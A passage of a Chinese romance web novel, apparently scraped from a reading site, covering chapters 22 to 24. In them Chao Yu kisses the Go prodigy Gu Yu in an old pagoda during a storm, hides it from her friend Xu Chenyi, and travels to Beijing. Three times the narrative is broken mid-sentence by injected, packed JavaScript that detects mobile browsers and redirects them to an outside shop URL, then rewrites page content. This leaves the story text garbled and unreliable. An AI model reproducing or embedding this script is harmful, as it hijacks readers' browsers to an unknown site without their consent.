她找了个角落把扫帚撮箕放好,这样下周过来就不用拎着了。 刚准备离开,脚步顿了顿。 脑子里是明恒宇那句:“不要想着再做设计了。” 她视线垂落在门槛上,再往上移,到已显斑驳的木墙,再往上,向庄严挑高的梁顶。 她很轻地咂了下嘴,转头又登上了七楼。 记得晁正声带她登上这里的那年,问她:“古人能做这样的设计,是不是很厉害?” 那时候她正被晁家生个女儿没用的议论困扰,正处于好胜心爆棚的阶段。 路上看老大爷拍树,她都恨不得冲上去哐哐拍得更大声。 于是她说:“我也可以。” “嚯。”晁正声笑,只当她说玩笑话。 晁雨默默眺望佛像,脑子里乱七八糟。 一会儿是葛洁叹着气说:“我就希望你们普普通通,平平顺顺。” 一会儿是周旭尧妈妈说:“等以后你就知道了。” 一会儿是九叔说:“没结果的事,做来干嘛?” 忽然,她听到塔里有异动。 靠……晁雨在心里骂了句脏话:不会吧? 首先,她锁门了,只有她一个人有钥匙,所以不可能是人。 其次…… 哪还有什么其次! 可这儿不是有佛像镇着吗?晁雨抬头看了眼,该说不说,在这么昏暗又没亮几盏的灯火下,还真挺像晁二柱玩的那些废墟恐怖游戏。 并且,这响动在一步步向七层靠近。 晁雨退守到窗边,十分后悔刚刚把扫帚放在了一楼,这会儿手里连个抓拿都没有,只能紧贴着身后的木墙。 并且这时一道闪电划过,窗外又一声惊雷,暴雨应声而落,吓得晁雨一哆嗦。 造成异动的那玩意儿要露脸了,怎么还自带特效的。 一道黑影闪过木阶,那玩意儿是—— 辜屿。 晁雨并没松一口气,心脏跳空一拍后转为另一种意味的加速。 这是她在直播之后,第一次见辜屿。 屏幕里光芒万丈的人真实地出现于眼前,生动得过分。晁雨能看到他黑T被风拂出的形状残存,能看到他的影子映在木墙上,毛茸茸的,连被吹乱的那几根竖起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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也许等她心里的伤愈合了,她会走入下一段感情。找一个像周旭尧那样的普通人,也许感觉不强烈,可是合适。 但不是在这个夏天。 不是跟辜屿。 辜屿拉出几秒的停滞。 也许几秒。也许一个世纪。 然后他压了压下巴:“我也没想谈恋爱。” 晁雨吁出一口气来。 当然是这样了。 辜屿这样的天才,所有的心思和精力都给了棋盘,都给了那黑白之间。偶尔抬眸看一眼人间,目光散漫,并没有真正把什么看进眼底去。 所以人人说他冷。人人说他傲。人人说他不可一世。 偏偏他有不可一世的资本。他那性感的禁欲感就是这么来的,因为他这样的人注定与感情无关。 他对晁雨的悸动,就像晁雨对他的心动一样,只是某种生理意义的荷尔蒙作祟。 那不是喜欢,不是感情。他们甚至跟彼此不熟。 所以,晁雨觉得这样把话说清楚很好。 科学研究表明,荷尔蒙上头的感觉最多持续三个月就会消退。那时候辜屿早已离开洵州了,她很安全,她全身而退。 而不是像上一段感情一样,又一次遍体鳞伤。 晁雨冲辜屿点点头,转身下楼。 打开塔门,盛夏暴雨便是这样,大到天地间仿佛腾起一阵茫茫的雾。 晁雨径直踏出去,雨浇到身上,站了一秒、两秒,又匆匆蹿回塔里。 她说不上雨是把她浇得忽然醒了神、还是更浑噩。 她听见自己的脚步匆匆又上了七层,辜屿已从刚才倚坐的窗台上下来了,棋谱放在一旁,他站在那里,目光望着晁雨,黑白分明的眸子,几乎像要穿透什么人。 辜屿是要去追她吗?也许是,也许不是。 晁雨来不及想那么多,走到辜屿面前。两人头顶,是无悲无喜的木雕佛像俯瞰这人间。 辜屿站在这样的情形中,既冷且傲,似佛而近妖。 可是晁雨在他的眼神里,上前勾住他后颈,与他吻到了一起。 22. 第四件小事04 盛夏的雨并不冰冷,落在身上是一种潮意。 晁雨不过出塔那么两秒,浑身就被淋透了。之前她为了便于动作,套了件宽松的白衬衫和牛仔裤来扫塔。 这会儿白衬衫被淋透,紧贴在身上,堆出姣好的起伏。 晁雨个子不算高,同许辰懿站一起要矮一个头。跟辜屿比起来更是,她吻辜屿的时候要微微踮脚,很用力扬着自己的下巴。 刚开始是她勾着辜屿的后颈,后来变成辜屿托着她的腰,让她不要站得那么费劲。 她白衬衫上的雨渍涂到辜屿的黑T上。 她眼尾瞟了眼沾满灰尘的木雕佛像,那一瞬心里涌起个荒唐的想法: 她在亵渎神明。 辜屿咬着她的舌尖说:“闭眼。” 她阖上眼,两人的唇齿纠缠在一起。辜屿是个绝对意义的进攻主义者,在棋盘上他很少出守招,在接吻这件事上也一样。 也许因为踮着脚,晁雨生出一种失重般的晕眩感。辜屿扶着她的腰,她的腰很细,只堪一握,辜屿两手的指尖几乎要相触。 他的手指是烫、是凉,晁雨混沌间几乎分不清楚。只觉得他呼吸不稳,连带着整座古老的木塔摇摇欲坠,整个夏夜都要倾倒。 暴雨把气压压得低,潮气从古老的地板木纹里钻出来,萦着人脚踝,让人脚踝发痒,连带着心里也发痒。 后来晁雨回忆起那个吻,什么都是模糊的,只有那种发痒的感觉格外清晰。 她站立不稳,抬起手又想去扶辜屿的后颈。 指尖触到辜屿耳后,一缩。 “你过敏了?”晁雨说。 两人分开来,晁雨的气息犹自不稳,辜屿喘息两下,看似已恢复平静。 他的长相太冷薄,冷白的肤色依然如故,平静得过分,看不出任何旖旎动情的痕迹。 晁雨站在他面前,又一次把手探向他耳后。 一道细密隐约的红痕,似过敏,还在。 晁雨心里涌起一阵很奇妙的感觉—— 那像佛像背后的一道裂纹。 泄露着某种不为人知的七情六欲。 因此,性感得很勾人。 两人一旦分开,理智开始渐渐回潮。 晁雨:“那什么,我先走了啊。” 她转身就走,辜屿伸手拉了下她手腕。 他的指尖上,还沾着刚刚在她腰上涂染的雨气。 晁雨背对着他抿了下唇,才转过身来。 “在下雨。”辜屿道。 “没关系没关系。”她也不知同样的话为什么要说两遍,跟复读机似的。 她匆匆下楼,辜屿跟在她身后。 她不得已转回头:“我是说我走,你可以,继续留在这看棋谱。” 辜屿压了压下巴:“知道。” 可还是跟在她身后。 两人下到一楼,晁雨拿钥匙开门,辜屿这时开口:“等等。” 晁雨站在原处,看辜屿钻出门去。 他们吻了多久?晁雨完全没概念。 只知道足够一场盛夏暴雨转小,雨声变为淅沥,顺着镂空莲瓣纹的木窗棱望出去,窗外七叶树的叶片被洗出一种新绿。 辜屿回来了,递给她一把伞。 劝宁塔位置偏,随着游览项目关闭,周边也不剩什么商业了。只有一家很小的小卖店留了下来,辜屿买来的是一把最普通的透明塑料伞,看起来质量不怎么好。 妈的,晁雨在心里骂了句:耍什么帅啊。 偏偏有些人淋了雨,会像落汤鸡。而另一些人淋了雨…… 算了也别装模作样说什么“一些人”了,就眼前这弟弟,淋了雨,真的很帅。 有些人天生适合雨,适合月光,适合一切锋利而淡薄的事物。 晁雨接过伞,话也没说一句的钻出塔外。 哦不对,还是说了,因为她回头跟辜屿交代:“你走的时候别忘了锁门。” 也太踏实了喂。 偏偏她这么一个踏实的人,做了件最出人意料的事。 举着伞匆匆离开的步子像逃。 刚好赶上回家方向的最后一辆公交,她上车的时候司机拍着胸口:“姑娘你大半夜穿一身白,头发又长,还站在这么偏的地方是要吓死谁。” 晁雨收了伞,匆匆坐到倒数第二排靠窗。 要死喽…… 有一种把万千人心中的禁欲佛子拉下神坛的感觉。 一回家,许辰懿在堂屋里等她:“你怎么不接电话?” “啊?”晁雨掏出手机看了眼,果然有两个未接来电。 “本来打算问你到哪儿了,拿伞去接你。” 瞧瞧,还得说闺蜜是亲的。她那好弟弟晁二柱,连人影子都没看见一个。 许辰懿瞥一眼她手里的塑料伞:“还算聪明,知道买把伞。” “……嗯。” 许辰懿笑起来:“怎么扫个塔还扫傻了?被无边的佛光震撼了?” “……可能。” 晁雨怕许辰懿看出什么端倪,应和两句,就往自己房里溜。 洗过澡,等她反应过来的时候,发现自己在房里无意识的兜圈。 抬手抚了抚自己的唇瓣。 辜屿的唇很凉,比他的手指还凉,以前在北京深夜加完班出来,冬夜的冷空气让人精神为之一振,一缕无温度的月光落到唇上,便是那样的感觉。 晁雨难得浪漫地想:月亮在亲吻她。 到了今夜,月亮真的在亲吻她,那吻却是灼烫。 要死喽——晁雨心里还是这句。 扑到床上,有气无力地想:如果有人问她初吻是什么感觉,她会说,初吻会让人变成一只屁股着火的火鸡。 她刚才在屋里兜圈的样子,就活像只屁股着火的火鸡。 第二天她去上班,九叔瞥她一眼。 她警惕地问:“干嘛?” “不干嘛。”九叔慢条斯理地晃着脑袋:“看看你昨晚有没有好好扫塔。” “这还能看出来?你会看相啊?” “嗯哼。” “那你看看,我什么时候才能升官发财飞黄腾达。”晁雨拿过祝境鹤预备修缮劝宁塔的案卷。 “一辈子都不能。” “嘿!”晁雨不满意了。 九叔点点她手里的案卷:“你要是扎进劝宁塔这项目里,一辈子没结果。” 晁雨看了眼案卷登记的时间,显示为二十年前。 巧的是,祝境鹤销声匿迹的时间,几乎也是二十年前。 下了班,许辰懿一把拽过晁雨:“完了完了完了。” 晁雨心里一咯噔。 她现在都快有应激反应了,有任何风吹草动,她的第一反应就是:她和辜屿的事暴露了。 许辰懿问:“你没看出来么?” “看出什么?”晁雨心虚地问。 “停电了啊!”许辰懿一指脑门上的灯,痛心疾首道:“本来跟葛阿姨说好了今晚吃她做的冰糖排骨。” 洵州这片老城区没赶上改造东风,电路也老,夏天停电是常事。 晁雨仔细端详许辰懿一番:“你胖了。” 许辰懿惊恐地一捧脸:“真的?” 葛洁的一手好厨艺,养得她在洵州的小日子那是分外滋润。 晁雨一咧嘴:“假的。” 许辰懿:“我问过葛阿姨,她说不回来吃饭了。咱俩怎么解决啊?” 晁雨想了想:“录像厅外有家面馆味道不错,不过人多,咱晚点再去。” 老城区停电都是轮番停,既然木安街停,录像厅那边肯定没停电。 “那咱先去录像厅看部电影呗。”许辰懿脑瓜子转得快:“这黑灯瞎火的,待家里干嘛。” 两人便一同出了门。 录像厅不管什么时候,都那么零星的三两个人。 两人挑了后排坐下,放映厅最后一个小小方形窗口,一个投影镜头从中探出来,那就是放映室所在。 今晚,里面隐隐传出男人低低的啜泣声。 许辰懿听乐了:“我跟你打赌,今晚放的绝对是部悲剧。” 晁雨也觉得有点好笑。 许辰懿问:“你们这位神秘的放映员,到底是什么人呐?” “不知道。”晁雨摇摇头:“从我们几岁的时候他就在了,据说是接他爸的班,那时候还是个小伙子吧,现在估计也人到中年了。从来没人看他走出过放映室。” “真新鲜。”许辰懿道:“估计是个终极社恐。可是你看,他一句话不说,每天却能用一部电影,让一放映厅的人感受到他的心情。” “得了吧。”晁雨拆台:“什么一放映厅的人,算上我俩撑死了也就五个。” 两人笑得肩膀晃。 今晚神秘的放映员不知是不是受了情伤,一来来了个大的,《泰坦尼克号》。 许辰懿:“哎哟喂。” 她是那种卷发红唇的大御姐,个子也是北方姑娘的高挑。看起来特雷厉风行,特英姿飒爽,特电光火石。 但,她其实特别心软又爱哭。以前两人在北京的出租屋里看《海绵宝宝》,她都能嚎啕大哭。 晁雨一看今晚放的是《泰坦尼克号》,心里就知道要完,悄悄溜出去买了包纸巾。 当许辰懿开始嘤嘤嘤的时候,她在一旁递纸巾。 当许辰懿从嘤嘤嘤的哭变成汪啊汪的哭,她一次递上两张纸巾。一张擦眼泪,一张擦鼻涕。 等电影放完,许辰懿哭得眼睛都肿了。 一起看电影的有个大叔,散场时特意在门口等她:“姑娘,瞧你这动静,我还以为是你被海水给淹了。” “对不住对不住。”许辰懿赶忙道歉:“我实在没忍住。” 她是那种特爽朗的姑娘,情绪来得快去得也快。 走出录像厅的时候,她已雨过天晴的开始跟晁雨聊:“杰克和肉丝儿在夕阳甲板上的那个初吻,简直倍儿纯,倍儿美。” “估计全天下的初吻都一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624336|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小鸡啄米似的,倍儿纯。” 晁雨下意识接了句:“那也不一定。” 话一出口觉得不对。 一瞬间,许辰懿就盯住了她:“你怎么知道?” “我……猜的。” 两人来到面馆,错开饭点,不再人满为患。 老城区的小店不拘着什么,门脸太小,桌椅板凳一路摆到沿街来。 晁雨跟许辰懿介绍:“这家面挺辣的。” 在人人好甜口的洵州,一家江西老板娘以辣著称的面馆能经久不衰,好吃程度可见一斑。 许辰懿豪迈地说:“辣没问题啊,我能吃辣。” 她俩挑了张方桌坐下,没多一会儿,看到那群男生们走过来。 看上去刚打过篮球,个个满脑门的汗。唯独辜屿没有,黑衣黑裤的清爽,捏着手机低头打字。 晁二柱看见了晁雨,凑过来:“姐……” 晁雨埋着头吃桌上的酥香豆:“别叫我。” 晁二柱:??? 晁雨跟说腹语似的,嘴唇都不怎么动:“你别坐这桌,带着他们坐远点。” “……”晁二柱:“至于么姐?知道你月薪两千五,不会让你请客的。” 果然带着男生们,远远地坐到别桌去了。 许辰懿笑:“你这么烦你弟啊?” “你家是俩妹妹你多幸福。”晁雨吐出一口气:“你跟一毛头小子一起长大试试,能烦死你。” 许辰懿鹅鹅鹅地笑了阵,等面的功夫,又拿出手机来刷新出的彩妆。 刚到北京的时候她吃了打扮土的大亏,现在对任何化妆品都得心应手。 晁二柱跟男生们坐下后,跟马超吐槽:“我姐真小气。” 辜屿远远地瞟了眼。 晁雨那不是小气。 躲他躲的,溢于言表。 好像生怕他黏上她要她负责似的。 许辰懿看一阵彩妆,江西老板娘热情地端上两只大碗:“面来嘞。” “谢谢。”许辰懿拿筷子把面挑散,瞟了眼晁雨,脑子里还是各个奢牌新出的口红:“你嘴小唇又薄,就适合用裸色,可千万别去买重色的踩雷知道吧?” 说着筷尖一停。 晁雨:“怎、怎么?” “嘶……”许辰懿端详着她:“我怎么发现你这嘴,也不是很薄啊。” 又看了看:“怎么好像,有点肿呢?” “哈哈。”晁雨:“哈哈哈。怎么可能。” “别是这面给闹的吧?还没吃就肿了啊?熏的啊?这面也太厉害了吧!” 许辰懿一脸震惊地挑了筷面,嚼两下:“这也没有很辣啊。” 晁雨:…… 暗自抿了抿唇,端起桌上的凉茶喝了口。 她是真不想看辜屿。 偏偏辜屿这人,就算坐得再远存在感也强。 也许她眼神有意无意地往那边瞟,引得许辰懿无意间也往那边瞥了眼。 许辰懿:“你说。” “嗯?” “辜屿弟弟是不是从不运动?” 晁雨微怔了下:“我不知道。” 她以前也没怎么关注过辜屿。 “我看你弟他们去打球,他好像也没打。”许辰懿吃着面,玩笑道:“这下不成了,我还说要是对辜屿弟弟这样的人心动,摸一把腹肌就跑。现在看来,也不知他有没有腹肌。” 许辰懿又瞥了眼:“毕竟他看着还挺瘦的。” 晁雨不接话,埋头吃面。 许辰懿:“你吃那么快干嘛?” 晁雨:“饿了。” 许辰懿嘀咕一句:“你怎么从聊初吻开始,就奇奇怪怪的。” 呵呵,初吻。晁雨心想:这问题可不就出在初吻么。 初吻可不一定纯情唯美。 也可以潮雨连绵,干柴烈火。 辜屿这弟弟,也不知是否在任何方面天赋异禀,连吻技都是。 吃完面,晁雨催许辰懿:“快走。” “怎么,你拉肚子啊?” “……不是。” 偏偏男生们吃得更快,吃完去马路对面的小卖店买可乐。辜屿没去,就站在面馆前等。 晁雨进面馆扫码付钱出来,正好撞见他。 辜屿本来让开一步,让她走掉就是。 但想起她全程埋头苦吃、对他避之唯恐不及的样子。 不知怎的,站在原地,没动。 晁雨:…… 撞见辜屿这事她是真没防备,但这样的情形下,再躲就不礼貌了。 她呵呵干笑两声,想尬聊一句“你觉得这面味道怎么样”。 但脑子里塞满关于初吻的那些浆糊,舌头没转过弯来,一时间脱口而出的是:“这是你的初吻么?” 她差点没咬掉自己的舌头。 辜屿比她高不少,站在面前居高临下的看她,微一挑眉。 她赶紧改口又道:“不是,其实我是想问,你有腹肌么?” 23. 第四件小事05 完,蛋。 完,大,蛋。 许辰懿见晁雨结完账半天没过来,倒回来找晁雨,见晁雨站在辜屿面前,两人正面面相觑。 许辰懿:“怎么了?” “没怎么。”晁雨一揽许辰懿的肩:“走。” 刚才那句话一出口,她连垂死挣扎的心都没了,万念俱灰的直接走人。 许辰懿问:“你被狗咬了?” “……哪来的狗?” “不知道,你一脸被狗咬了的样儿。” 晁雨满脑子胡思乱想着,二狗子算不算狗。 - 辜屿回到毛家小院,转回自己房里,摘下蓝牙耳机放到桌上。 从小每年来洵州过暑假,他都住这间房。 藏蓝浅格纹床单还是他中学时睡过的,整间房除了书架上列着些棋谱,几乎可以算空荡荡。 只要他合上行李箱一走,这间房好像没人住过一样。 他是个物欲极低的人,除了围棋,唯一的爱好便是收集耳机。 他总喜欢戴着耳机,像是与这世界隔开一道屏障。 经纪人打来电话,对了对接下来的工作,笑言:“你可真是越来越火了,等这届春闻杯战胜了郑旻勋,还不知要到什么程度。” 韩国有一个重要的围棋流派,效仿日本的围棋道场训练制度,通过超高强度的大量训练,来造就选手棋艺质的改变。 郑旻勋便是这一流派新涌现的棋手。 在上届「春闻杯」辜屿横扫以曹奉赫为代表的老一派棋手后,接下来一年,他冒头的速度极为迅猛,被外面冠以“小妖刀”的名号。 而他甚至比辜屿还要年轻两岁,年方二十,搏杀更为凌厉。 辜屿冷薄的眉眼抬起来,望着白墙上被灰尘染黑的那一小块,没接话。 - 晁雨第二天上班时,打开电脑,把杜昱德的资料调出来。 九叔等着玩扫雷,时不时踱到电脑后瞟一眼,瞟到屏幕上杜昱德的资料: [中国古建筑大师]; [昱德建筑工作室创始人]; [济仁大学建筑与城市规划学院名誉院长]。 九叔不屑地冷哼一声。 晁雨回头瞥他一眼。 九叔指着屏幕:“祝境鹤都整不出的方案,你找这个死肥宅就有用啦?” 哟嗬现在这些老年人,连打字都打不流利,一套套网络新词反而用得挺利索,也不知从哪里听来的。 晁雨道:“人家可不宅,没看人家那么多社会成就吗。” 说起中国古建筑研究领域的泰斗,一个是祝境鹤,一个是杜昱德。 不过两人是截然相反的两面。 祝境鹤是一双布鞋走山川的草芥,后来销声匿迹。 杜昱德是精英成功人士,昱德工作室早已是北京的纳税大户。 “说起来,”晁雨问九叔:“你为什么不认识祝境鹤?” “我为什么该认识祝境鹤?” 晁雨扬扬手里的案卷:“他递交这份方案的时候,你不是就在古建筑保护管理局上班吗?” “不知道。”九叔摇摇头:“人家是大师,都跟市领导对接吧,干嘛理我这个小喽啰。反正我只见过这份方案。” “那不就结了。找不到祝境鹤,至少先去问问杜昱德关于劝宁塔的看法。” “他干嘛要搭理你?”九叔提醒:“你也是个小喽啰。” 他幸灾乐祸地出馊主意:“要不你看看拿你那两千五的月薪,给他送点什么礼。” 晁雨斜眼看他:“傻了吧?做设计师做到人家这份上,又不缺钱,缺的是能引发他兴趣的项目。” 劝宁塔这座明代木塔,全榫卯结构,承重关系复杂而精巧。 要不是洵州没乘上经济发展的东风、没成为旅游胜地,它怎么也不该被埋没。 “你还真想去?”九叔问:“你干嘛想做劝宁塔修缮项目?想靠它翻身回北京啊?” 晁雨不言语。 是这样吗?她也说不清。 九叔冷嘲一声,背着手踱回沙发边,继续玩他的填字游戏:“你们这些年轻人呐,一回老家,就跟屁股上长仙人球似的。” 晁雨下班回家的时候,碰到徐阿姨。 就是上次介绍她和周旭尧相亲的那位,男男女女的个人介绍PPT做得极为出色,水平堪比亚轩。 一见她,远远地就打招呼:“小雨——” 晁雨硬着头皮走过去。 “上次你和小周的事,多可惜,怎么就没看对眼呢?”徐阿姨直咂嘴:“不过没事,我跟你说,阿姨这儿资源丰富着呢,立马再给你介绍。” 晁雨讪笑道:“以后再说。” 刚巧这时,辜屿从毛家小院里走出来。 听到她俩的对话,晁雨关于相亲的提议不是拒绝,而是“以后再说”。 徐阿姨一挥手:“什么以后再说。你们年轻人啊,去大城市看花了眼,有时就是拎不清。女人哪,事业啊成就啊,那些都是虚的,说到底,家庭幸福,才是真正的幸福。” 她打量晁雨:“你马上二十七了吧?” 辜屿早已走远,晁雨瞥一眼他背影,收回视线,点点头。 徐阿姨压低声:“我跟你说,可耽误不得啦,今年相亲,明年结婚,后年生小孩,赶在三十岁之前,身材才好恢复呐。不然生孩子以后变成黄脸婆,老公哪还愿意看你?” 一番话说得晁雨心里很不舒服。 回到家,晁雨把想去北京拜访杜昱德的事,跟许辰懿说了。 许辰懿沉默。 晁雨问:“怎么?” “我还以为,你再也不想回北京了。” “我想做劝宁塔的项目,也不是想回北京,没想那么远。我就是……想继续做设计。” 眼前唯一摆着的,也就劝宁塔修缮项目这块硬骨头。 许辰懿:“可去拜访杜昱德,也是回北京啊。我还以为,你再也不想踏进北京一步了。” 其实晁雨拖着行李箱、带着仅剩的一块八毛六离开北京时,她真是那么想的。 她把那当作一次悲壮的撤退。 可是回了洵州,她又不想听周妈妈说:“一个男人肯在你身上花时间,就是对你有心呀。” 也不想听徐阿姨说:“今年相亲,明年结婚,后年生小孩,赶在三十岁之前。不然生孩子以后变成黄脸婆,老公哪还愿意看你?” 许辰懿问:“你在北京开心一点,还是洵州开心一点?” “我不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644157|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”晁雨道:“我现在唯一确定的是,我想继续做设计。” 第二天,毛秀珍打麻将又输了钱,她把这归咎于洵州连日暴雨的低气压。 男孩们又被她的魔鬼发挥逼到晁家来吃晚饭。 马超苦着一张脸:“火龙果炒藕片,那是人能吃的吗?” 晁雨一心埋头扒饭。 心想:以往夏天男孩们来家里吃饭的频率有这么高吗? 毛秀珍打麻将的技术是不是退步了?是不是该找人给毛秀珍培训一下? 自从说错那两句话后,她连在辜屿面前挣扎的心都没了。 她现在对辜屿抱定的态度就是不听不看,当辜屿不存在。 就让辜屿把她当一个拔嘴无情的混蛋好了。 “哦对了。”她想起把要去趟北京这事给葛洁说了。 “瞎折腾什么。”葛洁怼她一句,倒也没否决。 晁家从小是放养,即便晁雨是女孩,给她的自由度也很高。 “瞧我这记性!我锅上还蒸着芋头排骨呢。”说话间葛洁一拍脑门,匆匆下楼去厨房。 晁二柱咬着只油爆虾说:“姐,我陪你去北京呗,我帮你拎行李,帮我买高铁票就行。” “想得美。”晁雨直接拆穿他:“别想蹭我的钱去旅游。” “反正你去北京,就是去花钱的。” “我花什么钱?” “你吃饭不花钱啊?住酒店不花钱啊?” “我吃泡面行不行?”晁雨白他一眼:“还有,住什么酒店?我住辰辰家就好啊。” 许辰懿现在收入也上去了,晁雨搬离北京后,她也没再找新的租客。 把晁雨的卧室空出来,堆她的各色“战袍”。 “哎哟我去。”许辰懿这才想起来:“我来洵州放年假,把房子借给我大学同学了。” “……”晁雨卑微地问:“还挤得下一个我不?” 许辰懿言简意赅:“她们有三人一猫。” 没戏了。 晁二柱问晁雨:“你什么时候去北京?” “后天。” “那你住狗哥家不就好了?狗哥后天也有工作要回北京。”晁二柱说完才发现自己嘴快。 在洵州这样的小城就是这样,边界感很弱,谁家有什么事,互相都会帮衬一把。 但辜屿不是。 晁二柱找补着问:“狗哥,方便么?” 晁雨恨不得操起桌上的一盘花生米,朝她这倒霉弟弟砸过去。 辜屿沉着张脸夹豆角,看起来他家就像是那传说中的秦始皇陵,生人别说住进去,连门在哪里都找不着。 晁雨抢话道:“那当然是……” “不方便”三个字还没出口。 辜.冷脸王.屿淡淡地:“嗯。” 一时间,晁雨瞪着他,晁二柱也看着他,迷茫的眼眨啊眨:嗯是什么意思? 他这才纡尊降贵般地开口:“方便。” 晁雨心里轰地一声。 这时葛洁用张帕子包着芋头蒸排骨的盘子上楼:“好烫好烫。” 她放下盘子赶紧去摸自己耳垂,嘴里问:“你们聊什么呐?” “葛阿姨。”许辰懿操着那高亢嘹亮的嗓音:“小雨和辜屿弟弟要同居啦!” 24. 第四件小事06 晁雨在心里已经把许辰懿捶死了一百遍。 她这姐们儿的语文是体育老师教的吧?!“同居”这个词是这么用的吗?! 葛洁有点懵:“啊?” 许辰懿解释:“我的房子借给我同学了,小雨去北京不是没地方住吗?刚好辜屿弟弟要回北京工作,可以借住在他家。” “噢。”葛洁问:“住你爸妈家啊?” 人人知道辜家是名门,但其实都不知道到底有钱到什么地步。 那离洵州的生活太远了。 像葛洁和晁正声,一辈子都没怎么离开过洵州,日子过的就是一日三餐。 “不是。”辜屿对长辈礼貌,倒是能多说两句:“我一直是自己住。” “那麻烦你了哦,二狗子,回来阿姨给你做好吃的。” 晁雨:…… 不是,等等,这事怎么好像就定下来了呢? 她刚要开口,许辰懿在旁边搡了她下。 吃完饭,许辰懿把她拉回房:“你干嘛不想去辜屿家住?” “我怕冷。”那弟弟总是冻着一张脸。 许辰懿乐了:“去吧,我还挺好奇的,这辈子睡不到天菜弟弟,至少看看他住的地方。” 晁雨心里:…… 许辰懿一拍她的肩:“别管你那小小的害羞了,想想你的工资。” 哦对,两千五。 去北京的高铁票往返就得小一千。 得,晁雨没脾气了。 她收拾行李的时候,恨不得连方便面都从家里带。 尽管只是去一趟北京很快回来,晁正声和葛洁还是提前回家,帮她一同收拾。 晁正声忧心忡忡道:“小雨,你可别赖在北京不回来了啊。” 葛洁:“那不能,她就两千五,不支持她赖在北京不回来。” ……真是亲妈。 收了一半晁雨和晁正声都说饿,葛洁一边数落他们干不了活,一边去厨房煮桂花元宵。 其实区区几天哪有什么行李好收,不过变成全家人一起参与的一项活动。 晁雨倚在厨房门口,看葛洁从冰箱里拿元宵,晁正声准备烧水,两人一边忙一边互怼。 晁雨淡淡地笑。 在她从小的记忆里,有很多类似这样的一幕幕。 她家厨房的顶灯,是一个灯罩长长地从屋顶吊下来,灯光格外澄黄些。下面一方灶台可以用松木枝烧火,不过平时都用天然气,旁边摆满了各种调味料。 这样的光线,把一切都照得暖洋洋的。颇有些诗句里“家人闲坐,灯火可亲”的意味。 晁雨听父母聊了会儿,忽然朝天井里回了下头。 辜屿站在那里。 刚才葛洁提了,她备了些特产让辜屿带到北京去。尽管晁雨和晁正声吐槽她:人家哪里看得上。 她还是叫辜屿来了。 晁雨心里,说不上为什么动了下。 天井并不大,但厨房昏黄的光线并照不透,落下去,形成一个光与暗的切面。 辜屿就站在那条分割线上,几乎完全笼进暗处,身上的黑T让他变成一个模糊的影子。可因为他的站姿,很巧的,他的脚尖刚好探进昏黄的光里。 如果他完全站在暗里,倒还好了。 可就因为那么一点向光的脚尖,让晁雨觉得…… 晁雨觉得她早不是一个浪漫的人了,或者说她从不是一个浪漫的人。她要好成绩,要好结果,要自我证明,她忽视掉了很多生活中纤细敏感的部分。 可此时她想矫情地说一句,她觉得辜屿有点孤独。 这一瞬持续了多久呢,五秒或者五分钟。 当晁雨犹豫着要不要开口叫辜屿时,辜屿已自己向着厨房走来。 葛洁听到脚步,热情招呼他:“二狗子,来,阿姨给你准备了点年糕、元宵和小咸菜,年糕和元宵都抽了真空,小咸菜拿罐头瓶子装好了,你带去给你家人朋友们吃喔。” 辜屿:“谢谢阿姨。” 一番对话间,刚刚天井里的氛围骤然消失了。 那种孤独感,只像是晁雨的幻觉。 晁雨倚在门框上,看着葛洁给辜屿拿特产,忽然想起一件很重要的事—— 她和辜屿都是明天出发去北京,不会还要同行吧? 不要啊她就是个拔嘴无情的女人,好尴尬。 她把上次辜屿给她打电话的手机号翻出来,这号码她没存,就是一串数字。 发了条短信:[我明天的高铁,你不用换成跟我同一班,太麻烦你了。] 这话说的,多有礼貌,多令人信服。 辜屿回过头来,看了她眼。 晁雨靠在门框上捏着手机,抬眸扫向辜屿,肩胛骨慢慢缩紧—— 怎么回事,心跳突然抢了一拍。 莫名有种在家长面前……眉来眼去的感觉。 连中学时都没体会过的早恋感,晁雨在人到二十六岁时,十分接近地体验了把。 辜屿拎了那些特产,道了谢便走了。 十分钟后,他才给晁雨回短信。 没打字,发来一张图片。 晁雨一看,唇角牵起来抽动了两下:呵,呵。 辜屿发来的是一张机票信息截图。 人家不从洵州走,从上海坐飞机走。括弧,头等舱。 她可真是想多了呢! 第二天,晁二柱开着五菱宏光送她去火车站,叮嘱她:“别欺负狗哥。” “我哪儿欺负他了?”晁雨边拎行李边道。 脑中不知怎地钻出暴雨那夜、两人在劝宁塔里的画面—— 辜屿双手扶着她的纤腰,让她踮着脚不要站得那么不稳,她整个人几乎是倚在辜屿的胸膛上,尽力仰着下巴,去承接他的吻。 锋锐的人,连吻也一样。他咬她,齿尖轻轻地磨。 以至于许辰懿第二天疑惑地问:“你这嘴怎么好像,有点肿呢?” 谁欺负谁啊,晁雨想。 高铁缓缓抵达北京站,晁雨拖着行李箱下车,望一眼站台,仍是辜屿代言的那张海报。 一张玉质般冷白无暇的脸,被放得巨大,更显得黑瞳如墨,冷傲垂沉。两个女生拿着手机,在跟海报合影。 